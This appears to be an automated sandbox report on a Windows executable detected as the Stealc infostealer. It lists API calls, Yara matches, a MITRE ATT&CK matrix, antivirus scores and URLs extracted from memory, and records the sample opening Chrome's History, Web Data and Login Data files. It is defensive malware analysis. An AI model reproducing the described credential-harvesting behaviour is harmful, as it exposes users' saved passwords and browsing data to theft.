Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_004198E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_004198E0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_00419790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00419790

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_6C8BB5C0 cpuid

0_2_6C8BB5C0

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417D20

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_00418CF0 GetSystemTime,

0_2_00418CF0

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_004179E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004179E0

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_00417BC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00417BC0

Source: Amcache.hve.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.5BQwrSLxIZ.exe.4840e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5BQwrSLxIZ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.5BQwrSLxIZ.exe.4920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5BQwrSLxIZ.exe.4840e67.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5BQwrSLxIZ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.5BQwrSLxIZ.exe.4920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2099802766.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2754327165.0000000002CBF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5BQwrSLxIZ.exe PID: 3056, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match

File source: Process Memory Space: 5BQwrSLxIZ.exe PID: 3056, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.5BQwrSLxIZ.exe.4840e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5BQwrSLxIZ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.5BQwrSLxIZ.exe.4920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5BQwrSLxIZ.exe.4840e67.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5BQwrSLxIZ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.5BQwrSLxIZ.exe.4920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2099802766.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2754327165.0000000002CBF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5BQwrSLxIZ.exe PID: 3056, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	22 Software Packing	NTDS	143 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	31 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	12 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
5BQwrSLxIZ.exe	34%	ReversingLabs
5BQwrSLxIZ.exe	100%	Avira	HEUR/AGEN.1312567
5BQwrSLxIZ.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\chrome.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.74.206	true	false	unknown
play.google.com	142.250.186.142	true	false	unknown
www.google.com	142.250.185.228	true	false	unknown
apis.google.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	5BQwrSLxIZ.exe, 00000000.00000003.2277997554.000000002345E000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp, CBAKFCBF.0.dr	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000002.00000002.2303446371.000027900297C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300421934.000027900240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/(	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	5BQwrSLxIZ.exe, 00000000.00000003.2277997554.000000002345E000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp, CBAKFCBF.0.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com//	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000002.00000002.2299365620.000027900226B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/1	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/7	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000002.00000002.2303960406.0000279002A54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/J	chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000002.00000002.2301688574.00002790026D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304676041.0000279002B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303019365.0000279002900000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/5	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7382	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/284462263	msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/:	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/8	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000002.00000002.2301743790.00002790026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303388307.0000279002960000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3586&	chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/G	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000002.00000003.2188003796.0000279002B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188255416.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188029808.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186686219.0000279003180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188060571.000027900320C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300899545.00002790024F7000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186660916.0000279003388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186558337.0000279003328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188524508.0000279003430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186630441.0000279003338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187047907.0000279003354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2187983429.0000279002EC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000002.00000002.2301007326.000027900250C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/:	chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/J	chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000002.00000002.2305710635.0000279002C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186267759.0000279003294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304835415.0000279002B7B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/H	chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/O	chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/ogl	chrome.exe, 00000002.00000002.2309995494.0000279003540000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/M	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3862il	chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://unisolated.invalid/	chrome.exe, 00000002.00000002.2305202603.0000279002BE4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000002.00000003.2188255416.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188524508.0000279003430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Q	chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/P	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/chrome/tips/	chrome.exe, 00000002.00000002.2303446371.000027900297C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2307720917.0000279002FF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304772917.0000279002B48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300335124.00002790023D4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/V	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000002.00000002.2302862780.00002790028C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310194857.00002790035F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/T	chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2ation.Result	chrome.exe, 00000002.00000002.2310194857.00002790035F0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000002.00000003.2218688244.0000279004140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2217288716.00002790041D4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/Y	chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/async/ddljson?async=ntp:2erValidator	chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6929	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/c	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3832k	chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3965l	chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/?feature=ytca	chrome.exe, 00000002.00000002.2302862780.00002790028C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310774464.0000279003CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2216006169.0000279003CC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.googl0	chrome.exe, 00000002.00000002.2301007326.000027900250C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/f	chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/e	chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000002.00000002.2301743790.00002790026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303388307.0000279002960000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=enE	chrome.exe, 00000002.00000002.2309778519.0000279003420000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2308302114.00002790030C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7369	chrome.exe, 00000002.00000003.2183187883.0000279002D44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2183135941.000027900258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182309018.000027900258C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2293116144.00000CC4024FC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
